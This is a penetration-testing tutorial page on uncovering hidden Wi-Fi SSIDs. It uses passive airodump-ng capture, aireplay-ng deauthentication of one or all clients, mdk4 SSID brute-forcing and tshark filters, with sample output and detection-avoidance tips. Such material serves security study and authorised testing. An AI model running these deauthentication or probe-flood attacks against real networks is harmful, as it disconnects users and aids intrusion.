Skip to content
HackIndex.io

Hidden SSID Discovery

6 min read Created Sep 11, 2026 Last updated Sep 15, 2026

When an access point is configured to hide its network name, the SSID field in beacon frames is set to null or zero-length. The AP still broadcasts beacons at regular intervals, so the network is visible to any tool that reads 802.11 management frames. Only the SSID field itself is empty. The BSSID, channel, encryption type, and signal strength are all transmitted normally.

  • Passive capture waits for a client probe response or association frame to reveal the SSID automatically.

  • Deauthentication forces a connected client to reassociate, exposing the SSID in the reconnection frames.

  • SSID brute-forcing with mdk4 sends probe requests from a wordlist when no clients are connected.

  • Wireshark/tshark analysis extracts the SSID from probe response and association frames in capture files.

The SSID is not gone. It still appears in probe response frames (when a client requests the network by name) and in association/reassociation frames (when a client connects). Hiding the SSID provides no security: it is not encryption, not access control, and any passive listener can recover it the moment a client interacts with the network.

How a Hidden SSID Appears in airodump-ng

In airodump-ng output, a hidden network shows up with a blank ESSID column or as <length: 0>. Everything else about the AP is visible:

┌──(kali㉿kali)-[~]
└─$ airodump-ng wlan0mon 
 CH  6 ][ Elapsed: 30 s ][ 2024-06-12 09:41

 BSSID              PWR  Beacons    #Data  #/s  CH   MB   ENC CIPHER  AUTH ESSID

 AA:BB:CC:DD:EE:FF  -38      104       22    1   6  130   WPA2 CCMP    PSK  CorpWiFi
 11:22:33:44:55:66  -51       67        8    0   6  130   WPA2 CCMP    PSK  <length:  0>
 77:88:99:AA:BB:CC  -74       31        0    0  11  195   WPA2 CCMP    PSK  GuestNet

 BSSID              STATION            PWR   Rate    Lost    Frames  Notes   Probes

 11:22:33:44:55:66  CC:DD:EE:FF:00:11  -48    54e-54e    0       19

The AP at 11:22:33:44:55:66 has a hidden SSID. Note that a client (CC:DD:EE:FF:00:11) is already associated with it. This is the key indicator: the BSSID, channel, encryption, and connected clients are all exposed. Only the network name is withheld from beacons.

Passive Hidden SSID Discovery

The simplest approach is to wait. Lock airodump-ng to the target AP's channel and BSSID, then let it run. When any client associates, reassociates, or sends a directed probe request, the SSID appears in the ESSID column automatically:

┌──(kali㉿kali)-[~]
└─$ airodump-ng --bssid 11:22:33:44:55:66 --channel 6 --write hidden-capture wlan0mon
Explain command
--bssid 11:22:33:44:55:66 Filter to the target AP's MAC address.
--channel 6 Lock to the AP's operating channel to avoid missing frames.
--write hidden-capture Save captured frames to disk for later analysis.

Once a client connects or reconnects, the <length: 0> entry updates to show the real SSID. This is fully passive: no frames are transmitted, no alerts are triggered. The downside is that it requires patience. If no clients connect during your capture window, the SSID stays hidden.

Active Deauthentication to Force SSID Disclosure

If clients are connected but not reassociating on their own, send deauthentication frames to force them off the network. The client will immediately reconnect, and the probe response or reassociation frame will contain the SSID in plaintext.

Keep airodump-ng running in one terminal, then send a targeted deauth from a second terminal:

┌──(kali㉿kali)-[~]
└─$ aireplay-ng --deauth 5 -a 11:22:33:44:55:66 -c CC:DD:EE:FF:00:11 wlan0mon 
09:42:18  Waiting for beacon frame (BSSID: 11:22:33:44:55:66) on channel 6
09:42:18  Sending 64 directed DeAuth (code 7). STMAC: [CC:DD:EE:FF:00:11] [ 5| 5 ACKs]
09:42:19  Sending 64 directed DeAuth (code 7). STMAC: [CC:DD:EE:FF:00:11] [ 4| 5 ACKs]
Explain command
--deauth 5 Send 5 deauthentication frames to disconnect the client.
-a 11:22:33:44:55:66 Target AP BSSID.
-c CC:DD:EE:FF:00:11 Target client MAC. Omit to deauth all clients on the AP.

After the deauth, switch back to the airodump-ng terminal. The ESSID column should now show the actual network name where it previously displayed <length: 0>.

Deauthenticating all clients by omitting -c is more aggressive but increases the chance of capturing the SSID if you do not know which client MAC to target:

┌──(kali㉿kali)-[~]
└─$ aireplay-ng --deauth 3 -a 11:22:33:44:55:66 wlan0mon

SSID Brute-forcing with mdk4

When no clients are connected to a hidden network and passive capture yields nothing, mdk4 can brute-force the SSID by sending probe requests from a wordlist. If the AP responds to a probe request matching its SSID, the response confirms the name.

┌──(kali㉿kali)-[~]
└─$ mdk4 wlan0mon p -t 11:22:33:44:55:66 -f /usr/share/wordlists/ssid-common.txt 
Trying SSID: default
Trying SSID: linksys
Trying SSID: NETGEAR
Trying SSID: CorpInternal
SSID found: CorpInternal
Explain command
p SSID probing and brute-force mode.
-t 11:22:33:44:55:66 Target BSSID of the hidden network.
-f /usr/share/wordlists/ssid-common.txt Wordlist of SSIDs to try.

This only works if the actual SSID exists in the wordlist. Custom or complex network names will not be found this way. For targeted engagements, build a wordlist from OSINT: company name variations, building names, department abbreviations, and common corporate naming patterns.

Wireshark and tshark Filters for Hidden SSID Analysis

If you have a capture file from airodump-ng, use tshark to extract probe responses for the target BSSID. Probe responses always include the SSID, even for hidden networks:

┌──(kali㉿kali)-[~]
└─$ tshark -r hidden-capture-01.cap -Y "wlan.fc.type_subtype == 0x05 && wlan.bssid == 11:22:33:44:55:66" -T fields -e wlan.ssid 
CorpInternal
CorpInternal
Explain command
-Y "wlan.fc.type_subtype == 0x05 && wlan.bssid == 11:22:33:44:55:66" Filter for probe response frames (subtype 5) from the target BSSID.
-T fields -e wlan.ssid Output only the SSID field value.

You can also check association request frames (subtype 0x00) which contain the SSID the client is requesting:

┌──(kali㉿kali)-[~]
└─$ tshark -r hidden-capture-01.cap -Y "wlan.fc.type_subtype == 0x00 && wlan.bssid == 11:22:33:44:55:66" -T fields -e wlan.ssid -e wlan.sa 
CorpInternal	CC:DD:EE:FF:00:11

In Wireshark, apply the same display filter interactively: wlan.fc.type_subtype == 0x05 && wlan.bssid == 11:22:33:44:55:66. The SSID is visible in the Tagged Parameters section of the decoded frame.

OPSEC Considerations

Passive monitoring generates zero transmissions and is undetectable. This is always the preferred approach when time allows.

Deauthentication is loud. Every deauth frame is a management frame visible to any wireless IDS in range. Tools like Kismet and wIDS flag deauth floods immediately. On monitored networks, a burst of deauths aimed at a specific client is a clear indicator of an active attack.

mdk4 brute-forcing sends probe requests at a high rate, which is also trivially detectable by WIDS/WIPS solutions.

If stealth matters: start passive, set a time limit, and only escalate to active techniques when passive capture has not produced results.

When This Fails

Passive discovery fails when no clients connect during the capture window. If the hidden network has no active clients, there are no probe responses or association frames to intercept.

Deauthentication fails against WPA3 networks with Protected Management Frames enabled, because the client rejects the spoofed deauth and stays connected.

SSID brute-forcing fails if the network name is not in the wordlist. Long, random, or unique SSIDs are effectively immune to dictionary attacks.

In all of these cases, the BSSID, channel, encryption, and client MACs are still known. The SSID is the only missing piece, and it is often not required to proceed with further attacks against the network.

References